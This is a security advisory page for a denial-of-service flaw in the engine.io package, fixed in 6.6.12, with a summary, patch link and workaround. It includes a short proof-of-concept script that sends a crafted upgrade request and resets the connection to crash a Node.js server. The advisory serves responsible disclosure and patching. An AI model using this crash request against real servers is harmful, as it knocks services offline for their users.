Socket.IO: Engine.IO DoS via unhandled upgrade error
Published 1 Dec 2026 · Updated 1 Dec 2026
Affected package
- Affected
- <6.6.12
- Fixed in
- 6.6.12
npm install engine.io@6.6.12Which engine.io does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.
Public repo?
Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Summary
A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unhandled socket errors when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via ECONNRESET) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an uncaught exception.
Proof of concept
import net from "node:net";
import http from "node:http";
import { Server } from "engine.io";
// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);
server.listen(3000, () => {
console.log("Vulnerable server listening on port 3000");
// Attacker: Send an invalid upgrade request and disconnect abruptly
const socket = net.connect(3000, () => {
socket.write(
"GET / HTTP/1.1\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: websocket\r\n" +
"\r\n"
);
// Disconnect before the 1000ms timeout
setTimeout(() => socket.resetAndDestroy(), 10);
});
});Expected Result: The server crashes with:
Unhandled 'error' event (ECONNRESET)
Patches
Fixed in:
engine.io@6.6.12(via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)
Workarounds
In vulnerable versions, the issue can be mitigated by registering a listener for the error event:
import http from "node:http";
import { Server } from "engine.io";
const engine = new Server();
const server = http.createServer();
// WORKAROUND: Add a global "upgrade" handler to catch ALL sockets
server.on("upgrade", (req, socket, head) => {
socket.on("error", (err) => {
console.debug(`[Workaround] Upgrade error: ${err.message}`);
});
});
engine.attach(server);
server.listen(3000);Note: This is a temporary mitigation. Upgrading to engine.io@6.6.12 and above is the recommended fix.
Credits
The vulnerability was responsibly disclosed by YuSheng Chen.
Is GHSA-v775-f652-7rv6 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected engine.io, and gives you the command that fixes it.
More advisories for engine.io
- HighCVE-2026-102599Socket.IO: Engine.IO Protocol Revision Mismatch DoS · 29 Sept 2026
- HighCVE-2026-59724Socket.IO: Engine.IO WebTransport SID DoS · 31 Aug 2026
- HighCVE-2026-59725Socket.IO: Engine.IO Polling Transport Connection Exhaustion · 20 Jul 2026
- MediumCVE-2023-31125engine.io Uncaught Exception vulnerability · 3 May 2023
- MediumCVE-2022-41940Uncaught exception in engine.io · 21 Nov 2022
- HighCVE-2020-36048Resource exhaustion in engine.io · 9 Feb 2022
References
- Linkgithub.com/socketio/socket.io/security/advisories/GHSA-v775-f652-7rv6
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-137200
- Linkgithub.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31
- Packagegithub.com/socketio/socket.io
- Linkgithub.com/socketio/socket.io/releases/tag/engine.io@6.6.12
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.